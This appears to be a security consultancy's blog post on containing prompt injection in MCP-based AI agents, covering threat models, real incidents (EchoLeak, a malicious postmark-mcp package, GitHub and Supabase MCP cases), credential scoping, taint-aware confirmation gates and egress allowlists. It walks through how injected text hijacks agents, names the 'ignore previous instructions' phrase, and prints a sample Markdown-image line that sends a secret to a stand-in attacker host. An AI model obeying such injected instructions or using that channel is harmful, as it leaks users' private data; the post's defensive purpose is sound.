Filed underL02 · Security
Published
Reading time20 min
Updated
Field notes · L02 Security

Securing AI agentsPrompt injection, tool permissions and least privilege for MCP

Prompt injection can't be filtered away. Contain it with scoped credentials, taint-aware confirmation gates and egress control for MCP agents.

The short answer

You cannot reliably stop a language model from following instructions hidden in the content it reads, so don't build your defence around trying. Mitigate prompt injection in AI agents by limiting what a hijacked agent can do. Never let one agent context hold private data, untrusted content and a way to send data out all at once. Give each tool scoped, short-lived, audience-bound credentials. Put deterministic confirmation gates on state-changing actions once untrusted content has entered the context. Force all network egress through an allowlist. Treat classifiers and "ignore previous instructions" filters as telemetry, not as a boundary.

The rest of this post is the threat model, the controls in order of how much they buy you, working configuration, and a permission matrix you can run against your own agents.

01Why prompt injection is an architecture problem, not a filtering problem

Prompt injection exists because an LLM receives instructions and data in the same channel: tokens in a context window. There is no equivalent of a parameterised query. Anything the model reads (a web page, a PDF, a GitHub issue, a tool's own description) can carry text the model treats as an instruction.

The evidence that detection alone won't save you is now strong and comes from the model vendors themselves:

  • In The Attacker Moves Second (October 2025), researchers from OpenAI, Anthropic and Google DeepMind tested 12 published prompt-injection defences against adaptive attacks and bypassed them "with attack success rate above 90% for most". Human red-teamers got through all of them.
  • OpenAI, writing about hardening its Atlas browser agent in December 2025, said prompt injection "is unlikely to ever be fully 'solved'".

  • Simon Willison, who coined the term, makes the security-engineering point plainly in The lethal trifecta: a guardrail that catches 95% of attacks is a failing grade when the attacker gets unlimited retries.

So the right mental model is the one you already use for SQL injection on a legacy system you can't rewrite: assume the model will be compromised by any content it reads, and design so that a compromised model can't do much damage. OWASP ranks this first in both of its relevant lists. It is LLM01:2025 Prompt Injection in the LLM Top 10. In the OWASP Top 10 for Agentic Applications 2026 it maps to ASI01 Agent Goal Hijack, with ASI02 Tool Misuse & Exploitation and ASI03 Identity & Privilege Abuse close behind.

02The threat model for agents with tools

Start by being precise about who controls which tokens in the context window.

Diagram
            ┌───────────── agent context ─────────────┐
 Trusted    │ system prompt   (you)                   │
 Semi-trust │ user turn       (careless, rarely bad)  │
 Untrusted ▶│ tool results    (web, email, tickets)   │
 Untrusted ▶│ tool metadata   (MCP names, schemas)    │
            └────────────────────┬────────────────────┘
                                 │ model decides
                                 ▼
                tool calls with YOUR credentials
        (read private data · write state · reach the network)

The attacker doesn't need to talk to your agent. They only need to get text into something the agent will read later. There are four entry points worth naming.

Direct prompt injection

The user types the attack. This matters for public chatbots and multi-tenant products. For internal agents it is usually the least of your worries: the user already has the access the agent has.

Indirect prompt injection via documents, web pages and tool results

This is the one that matters. The payload sits in content the agent fetches on the user's behalf: a support ticket, a calendar invite, a README, a scraped web page, a row in a database. The user asks something harmless ("summarise my open issues") and the agent reads the attacker's instructions as part of doing so. Hidden text, white-on-white HTML, alt text, PDF metadata and Unicode tag characters all work, because the model reads what the parser extracts, not what a human sees.

Tool poisoning and rug pulls

MCP servers describe their tools in natural language, and those descriptions go straight into the model's context. Invariant Labs showed in April 2025 that a malicious server's tool description can tell the model to misuse a different, legitimate server connected in the same client. Their example was a "trivia" server pulling WhatsApp history out through a legitimate WhatsApp server. A "rug pull" is the same attack delivered later: the server passes review, then changes its descriptions. The MCP spec is explicit that clients MUST treat tool annotations as untrusted "unless they come from trusted servers" (Tools, 2026-07-28).

Supply-chain compromise of the tool itself

Sometimes the tool is the attacker. In September 2025, Koi Security found postmark-mcp, an npm package copying Postmark's official MCP server. Version 1.0.16 added one line that BCC'd every outgoing email to an attacker-controlled address. No prompt injection was needed. That is ordinary supply-chain security hygiene, and it belongs in the same threat model because an agent with an email tool trusts that tool completely.

Exfiltration channels people forget

Prompt injection is only dangerous when the attacker can get something back out, or make the agent change something. The obvious channels are tools that send things: email, Slack, PR creation, HTTP fetch. The less obvious ones:

  • Rendered Markdown images and links. ![](https://attacker.example/p?d=<secret>) turns into a GET request the moment a client renders it. EchoLeak (CVE-2025-32711) against Microsoft 365 Copilot combined a classifier bypass, reference-style Markdown to get around link redaction, auto-fetched images and an allowed Microsoft Teams proxy. The result was zero-click exfiltration from a single inbound email (The Hacker News summary).
  • "Read-only" fetch tools. A fetch_url tool that takes an arbitrary URL is a write channel. The data goes out in the query string.
  • DNS. Any tool that resolves attacker-chosen hostnames leaks data in the hostname.
  • Public artefacts. A public PR, gist, issue comment or shared doc is a send, even if no tool is called "send".

03Real incidents: what went wrong each time

Incident Entry point Private data Exit channel What would have stopped it
GitHub MCP server, May 2025 Malicious issue in a public repo User's private repos, via a broad PAT Agent opened a PR in the public repo Token scoped to one repo; gate on public writes after reading public content
Supabase MCP, July 2025 (General Analysis) Customer-submitted support ticket Whole database via service_role, which bypasses RLS SQL write back into the ticket thread the attacker could read A read-only, RLS-bound role; no write tool in the triage context
EchoLeak, CVE-2025-32711 Inbound email Copilot's M365 retrieval scope Auto-fetched Markdown image through an allowed proxy Strict image/link CSP on rendered output; no auto-fetch of model-produced URLs
postmark-mcp, Sept 2025 Malicious package update Every email the tool sent Hidden BCC Version pinning, provenance review, egress allowlist on the tool's host

Look at the last column. None of the fixes is "a better prompt". Every one is a permission, network or rendering control.

04The lethal trifecta and the Agents Rule of Two

Willison's lethal trifecta (June 2025) is the most useful single idea in this area. An agent is exploitable for data theft when it combines:

  1. access to private data,
  2. exposure to untrusted content, and
  3. the ability to communicate externally.

Remove any one and data theft through prompt injection stops working. The injection still lands, but it has nothing to steal or nowhere to send it.

Meta's Agents Rule of Two (October 2025) widens the third leg. Within a session, an agent should have no more than two of: [A] processing untrustworthy inputs, [B] access to sensitive systems or private data, [C] changing state or communicating externally. If a task needs all three, Meta's position is that the agent should not run autonomously. It needs human-in-the-loop approval "or another reliable means of validation", or a fresh context.

We use Meta's version. Willison's framing is about exfiltration. Meta's also covers the agent that reads a poisoned ticket and then runs DROP TABLE, or approves a refund, or merges a PR. Destruction and fraud are as real as theft.

One subtlety. "Session" here means the model's context, not a transport session. As of the 2026-07-28 MCP specification, MCP itself is stateless and has no protocol-level sessions. Taint is a property of what the model has read. Your agent harness has to track it, because nothing in the protocol will.

05Controls, in order of how much risk they remove

Here is the order we'd put in front of a CTO. The first three are architectural and deterministic. The rest reduce probability, not impact.

1. Split the trifecta at design time

The cheapest fix is to not build the dangerous agent. The paper Design Patterns for Securing LLM Agents against Prompt Injections (Beurer-Kellner et al., June 2025) sets out six patterns. They share one principle: once the agent has read untrusted input, that input must not be able to trigger consequential actions. In practice:

  • Action-selector. The model picks from a fixed menu of actions and never sees tool output. This fits customer-service routing.
  • Plan-then-execute. The model commits to a plan (which tools, in what order) before reading untrusted content. Injected text can corrupt arguments but can't add new steps.
  • Dual LLM / quarantined reader. A privileged model with tools never sees untrusted text. A quarantined model with no tools reads it and returns structured, typed output (an enum, a number, a validated email address) or an opaque variable reference.
  • Map-reduce. Each untrusted document goes to an isolated sub-agent that can only return constrained output. One poisoned document can't steer the others. The usual token costs of orchestrators and sub-agents apply.
  • Context minimisation. Drop the untrusted content from context before the next privileged step.

Google DeepMind's CaMeL pushes this further. The trusted query becomes a program. A custom interpreter tracks where every value came from (provenance) and enforces capability policies at each tool call. It solved 77% of AgentDojo tasks with provable security, against 84% undefended. That 7-point utility cost is the honest price of a real boundary.

What we'd actually do: for most business agents, plan-then-execute plus a quarantined reader is enough, and buildable in a sprint. You probably don't need a CaMeL-style interpreter unless you're running general-purpose agents over high-value data.

2. Scope credentials to the task, the user and the resource

A hijacked agent can do exactly what its credentials allow. Most incidents above came down to an over-broad token: a classic PAT across all repos, a database role that bypasses row-level security.

Rules we hold:

  • Delegated, per-user tokens, never a shared service account. The agent acts as the user, with at most the user's rights, so your existing authorisation model still applies.
  • Audience-bound tokens. The MCP authorisation spec requires clients to send an RFC 8707 resource parameter naming the specific MCP server. Servers MUST validate that tokens were issued for them and "MUST NOT accept or transit any other tokens" (Authorization, 2026-07-28). Token passthrough, where an MCP server forwards the client's token to a downstream API, is explicitly forbidden. Enforce it in your servers. Test it in vendors'.
  • Minimal initial scopes, step-up for the rest. The spec's scope minimisation guidance describes a baseline read scope, with privileged scopes requested through a 403 insufficient_scope challenge when first needed. That step-up moment is a natural place for a human confirmation.
  • Short lifetimes. Minutes to hours, not days. A token copied into a log or a model transcript should be dead before anyone finds it.
  • Separate read and write identities where the downstream system allows it, so a "triage" agent physically cannot write.

For databases, give the agent a role that cannot reach beyond what one user should see, even if it writes arbitrary SQL. It is the same session-variable pattern used for row-level security in multi-tenant Postgres. A Postgres sketch for a support-triage agent:

sql
-- Read-only role for the triage agent. No BYPASSRLS, no writes, no secrets tables.
CREATE ROLE agent_triage NOLOGIN NOBYPASSRLS;
GRANT USAGE ON SCHEMA support TO agent_triage;
GRANT SELECT ON support.tickets, support.ticket_messages TO agent_triage;
-- Note: no grant on support.integration_tokens, auth.*, or billing.*

ALTER TABLE support.tickets ENABLE ROW LEVEL SECURITY;
ALTER TABLE support.tickets FORCE ROW LEVEL SECURITY;

-- The agent runtime sets app.current_org per request from the verified user token,
-- never from model output.
CREATE POLICY triage_org_isolation ON support.tickets
  FOR SELECT TO agent_triage
  USING (org_id = current_setting('app.current_org')::uuid);

-- Login role used by the MCP server; it can only become agent_triage.
CREATE ROLE mcp_support_server LOGIN PASSWORD :'pw' NOINHERIT;
GRANT agent_triage TO mcp_support_server;
-- Per transaction: SET LOCAL ROLE agent_triage; SET LOCAL app.current_org = '<org>';
ALTER ROLE agent_triage SET statement_timeout = '5s';

This doesn't stop the agent reading a poisoned ticket. It means the worst outcome is the agent reading tickets the user could already read.

3. Put deterministic confirmation gates on tainted actions

A confirmation gate is code outside the model that decides whether a tool call runs, asks a human, or is refused. The spec already says there SHOULD be a human able to deny tool invocations, and that clients SHOULD show tool inputs before calling the server "to avoid malicious or accidental data exfiltration" (Tools, security considerations).

The mistake is gating everything. People approve 40 prompts a task without reading them, so blanket confirmation turns into blanket approval within a week. Gate on risk, which means tracking taint:

python
# Minimal taint-aware tool policy for an agent runtime (client side or MCP gateway).
# Labels are assigned by YOU per tool, not read from server-supplied annotations.
from dataclasses import dataclass, field
from enum import Flag, auto

class Cap(Flag):
    NONE = 0
    UNTRUSTED_IN = auto()   # returns content an outsider can influence
    PRIVATE = auto()        # returns non-public data
    EGRESS = auto()         # can send data off-box or make it public
    STATE = auto()          # mutates something (write, delete, pay, merge)

TOOL_CAPS: dict[str, Cap] = {
    "github.list_issues":   Cap.UNTRUSTED_IN | Cap.PRIVATE,
    "github.get_file":      Cap.PRIVATE,
    "github.create_pr":     Cap.EGRESS | Cap.STATE,
    "web.fetch":            Cap.UNTRUSTED_IN | Cap.EGRESS,   # URL is an outbound channel
    "db.query_readonly":    Cap.PRIVATE,
    "email.send":           Cap.EGRESS | Cap.STATE,
}

@dataclass
class ContextTaint:
    seen: Cap = Cap.NONE           # capabilities already exercised in this context
    log: list[str] = field(default_factory=list)

class Decision(str):
    ALLOW, CONFIRM, DENY = "allow", "confirm", "deny"

def decide(tool: str, args: dict, ctx: ContextTaint) -> str:
    caps = TOOL_CAPS.get(tool)
    if caps is None:
        return Decision.DENY                       # unknown tools never run
    after = ctx.seen | caps
    has_all_three = (Cap.UNTRUSTED_IN in after and Cap.PRIVATE in after
                     and (Cap.EGRESS in after or Cap.STATE in after))
    if not has_all_three:
        return Decision.ALLOW
    if Cap.EGRESS in caps and Cap.UNTRUSTED_IN in ctx.seen and Cap.PRIVATE in ctx.seen:
        # Rule of Two breached by this call: needs a human who sees the raw arguments.
        return Decision.CONFIRM
    if caps & (Cap.EGRESS | Cap.STATE):
        return Decision.CONFIRM
    return Decision.ALLOW                          # reads never need confirmation

def record(tool: str, ctx: ContextTaint) -> None:
    ctx.seen |= TOOL_CAPS[tool]
    ctx.log.append(tool)

Three design points matter more than the code:

  1. You assign the labels, not the server. MCP tool annotations (readOnlyHint, destructiveHint, openWorldHint) are useful defaults for your own servers. For anyone else's they are claims, and the spec tells you to treat them as untrusted.
  2. The confirmation shows raw arguments, not a model-written summary. A hijacked model will happily describe create_pr(repo="acme/public-site", body="<your salary spreadsheet>") as "opening a PR with the requested changes". Render the actual repo, recipient, URL and payload diff.
  3. Taint is sticky for the life of the context. Summarising untrusted content doesn't clean it: the summary is model output derived from attacker text. Only a fresh context, or a typed value from a quarantined reader, resets it.

4. Control egress at the network, not in the prompt

If the agent's host can't reach attacker.example, a successful injection has nowhere to send its loot. This is the control most teams skip, and the one that would have blunted the most incidents.

Route all outbound traffic from the agent runtime and every MCP server through an allowlisting proxy, and deny everything else at the network layer. The MCP spec itself recommends egress proxies such as Stripe's Smokescreen for server-side clients. A Smokescreen ACL for a GitHub-triage agent:

yaml
# smokescreen-acl.yaml — load with --egress-acl-file.
# Service names match the client identity (by default the mTLS cert common name).
version: v1
services:
  - name: agent-github-triage
    project: agents
    action: enforce
    allowed_domains:
      - api.github.com
      - api.anthropic.com        # or your model provider's API host
  - name: mcp-postmark
    project: agents
    action: enforce
    allowed_domains:
      - api.postmarkapp.com
default:
  project: unknown
  action: enforce               # unknown callers get no egress at all

Then make the proxy the only way out. In Kubernetes:

yaml
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: agents-egress-via-proxy-only
  namespace: agents
spec:
  podSelector: {}               # every pod in the namespace
  policyTypes: [Egress]
  egress:
    - to:
        - namespaceSelector:
            matchLabels: { kubernetes.io/metadata.name: egress }
          podSelector:
            matchLabels: { app: smokescreen }
      ports: [{ protocol: TCP, port: 4750 }]   # Smokescreen's default listen port
    - to:                        # cluster DNS only; consider a DNS allowlist too
        - namespaceSelector:
            matchLabels: { kubernetes.io/metadata.name: kube-system }
          podSelector:
            matchLabels: { k8s-app: kube-dns }
      ports: [{ protocol: UDP, port: 53 }, { protocol: TCP, port: 53 }]

Two caveats. First, an allowlist containing github.com still allows exfiltration to GitHub, such as a public gist. Domain allowlisting removes the arbitrary channel, not every channel, which is why gates on public writes still matter. Second, a NetworkPolicy only works if your CNI enforces it. Test it with a pod that tries to curl a non-allowlisted host.

Close the rendering channel too. Wherever model output becomes HTML (chat UI, email digest, Slack unfurl), don't auto-load remote resources the model chose:

http
Content-Security-Policy: default-src 'self'; img-src 'self' data: https://cdn.yourco.example; connect-src 'self'; frame-ancestors 'none'

Rewrite or strip Markdown images and links pointing at non-allowlisted hosts before rendering, and turn off link unfurling for agent-authored messages. EchoLeak got out through an allowed Microsoft domain, so keep the image allowlist to hosts you own.

Running the agent's own code in an isolated environment is a related but separate problem. We cover it in sandboxing AI agents that run code.

5. Treat MCP servers as third-party code with your credentials

  • Pin versions and review diffs for every MCP server, exactly as you would for a dependency that receives production secrets. postmark-mcp turned malicious in a point release.
  • Pin tool definitions. Hash the normalised tools/list response at review time. On notifications/tools/list_changed or a hash mismatch, disable the server until someone re-approves it. That turns a rug pull into an alert.
  • Namespace tools per server. The spec says aggregating clients SHOULD disambiguate colliding names, for example with a server prefix. This also stops a malicious server from shadowing send_email.
  • Prefer remote servers you operate, or vendor-hosted servers with OAuth, over arbitrary npx packages on developer laptops. Local servers run with the developer's full user privileges. The spec requires one-click installers to show the exact command and get explicit consent (Local MCP server compromise).

How to design MCP servers that are safe to expose in the first place is a topic of its own, covered in building MCP servers agents can actually use.

6. Detection: useful, but not a boundary

Prompt-injection classifiers, spotlighting (delimiting or encoding untrusted text) and system-prompt hardening do reduce the success rate of lazy attacks. Use them, but for what they're good at:

  • Telemetry. Log every classifier hit with the source document. A spike in hits from one inbox or one domain is an incident signal.
  • Friction. Raise the cost of drive-by attacks so your gates fire less often.
  • Never as the reason a dangerous capability is allowed. If removing the classifier would make a configuration unacceptable, the configuration is already unacceptable.

Log every tool call with its arguments, the taint state at the time, the decision, and the approving human if there was one. You'll need that log for incident response, and the spec asks for it anyway. If you already trace agent runs with OpenTelemetry, the tool span is the natural place for it.

06The agent tool-permission matrix

This is the asset we use in reviews. Do it once per agent, in a spreadsheet, before go-live. Repeat it whenever a tool is added.

Step 1: label every tool

For each tool the agent can reach, mark which capabilities it has. Be pessimistic. If an outsider can influence any field the tool returns, it's U.

Label Meaning Typical examples
U Returns content an outsider can influence web fetch/search, inbound email, tickets, public issues, uploaded files, CRM notes, third-party API responses
P Returns private or sensitive data internal docs, source, customer records, financials, secrets, other users' data
E Can send data off-box or make it visible to outsiders email/Slack send, HTTP fetch with arbitrary URL, public PR/issue/comment, share-link creation, webhooks
S Changes state writes, deletes, payments, merges, deploys, permission changes

Step 2: find the session-level combination

Take the union of labels across all tools reachable in one context. Look it up:

Union of labels Risk Required controls
Any two or fewer of {U, P, E∪S} Contained Scoped credentials (§2), egress allowlist (§4), logging
U + P + E Data exfiltration Split the agent (§1) or confirmation on every E call after U and P are tainted, showing raw arguments; domain allowlist with no wildcard hosts; render CSP
U + P + S Destructive or fraudulent action Split the agent or confirmation on every S call after taint; dry-run/diff preview; reversible operations only (soft delete, PR not push, draft not send)
U + E + S, no P Abuse of your identity (spam, defacement) Rate limits per user and per destination; confirmation on public writes; per-user tokens so abuse is attributable
U + P + E + S Everything above Don't ship as one autonomous agent. Redesign with plan-then-execute or a quarantined reader, or run with a human approving every E/S call

Step 3: answer the ten questions

A configuration passes when every answer is "yes" or "not applicable".

  1. Does each tool use a per-user, audience-bound token rather than a shared key?
  2. Is every token scoped to the narrowest resource (repo, project, mailbox, schema) the task needs?
  3. Are token lifetimes under a working day, with refresh held outside the model's reach?
  4. Do database tools run as a role without BYPASSRLS and without grants on secrets tables?
  5. Are tool capability labels assigned by you, not taken from server annotations?
  6. Does the runtime track taint per context and gate E/S calls once U and P are present?
  7. Do confirmation prompts show raw arguments and destinations, not a model summary?
  8. Is all egress from the agent and its MCP servers forced through an allowlisting proxy, verified by a failing curl?
  9. Is model output rendered with a CSP that blocks remote images and auto-fetch to hosts you don't own?
  10. Are MCP server versions and tool-definition hashes pinned, with re-approval on change?

The labelling is the slow part. Most teams find at least one tool they'd forgotten was E, usually a "read-only" fetch tool that takes a URL.

07Where this crosses into the rest of the stack

Agent security rarely fails inside the agent. It fails at the seams. Per-user delegated tokens depend on your identity provider and how cleanly your SaaS estate supports scoped OAuth, which is usually a Managed IT problem. The egress allowlist only exists if your cloud network funnels traffic through one place, which is a Cloud & DevOps decision. Whether a tool counts as P depends on whether anyone has classified the data behind it. Whether people actually read confirmation prompts is a design problem. No single team owns all four, which is usually why agents ship with a shared service-account key and open egress.

08FAQ

Can a better system prompt or a fine-tuned model prevent prompt injection?

It reduces the rate. It doesn't give you a guarantee. Adaptive attacks bypassed 12 published defences at over 90% success in most cases (The Attacker Moves Second). Choose models with strong injection resistance, then design as if they had none.

Is human-in-the-loop approval enough on its own?

Only if the human can tell a malicious call from a normal one, and only if approvals are rare enough that they still read them. Gate on tainted state-changing or egress calls, show raw arguments, and pair the gate with egress control so a careless approval can't send data to an arbitrary host.

Does the MCP specification handle this for me?

It handles transport-level authorisation well. Under the 2026-07-28 spec that means OAuth 2.1, mandatory RFC 8707 resource indicators, audience validation, a ban on token passthrough, and scope minimisation. It says humans SHOULD be able to deny tool calls. It does not track taint, decide which tool combinations are safe, or control your network. Those stay with you.

Are read-only agents safe?

Safer, not safe. A read-only agent with U and P can still exfiltrate data through anything that makes a request: a URL-fetching tool, a rendered Markdown image, a link unfurl. Read-only on the data side has to be paired with no egress on the network side.

What about RAG pipelines with no tools?

The same model applies at lower stakes. Retrieved documents are U if outsiders can write to the corpus, which covers shared drives, wikis and ticket history. The answer still renders somewhere, so the Markdown-image channel still exists. Apply the CSP and link-rewriting controls even if the model has no tools. Making sure retrieval only returns documents the user may see is a separate control: permission-aware RAG.

How should we test our agents for prompt injection?

Build a small corpus of poisoned fixtures for your actual U-sources: a ticket, an email, a README, a web page, each telling the agent to exfiltrate a canary string to a host you control. Run them in CI against the real tool configuration, scored like any other agent trajectory eval. Pass means the canary never reaches the host and every attempted E/S call is gated or denied. Then have a human red-team it. Static payload lists are exactly what adaptive attackers get past.

If this is the layer that hurts, we should talk.

Tell us which layer hurts →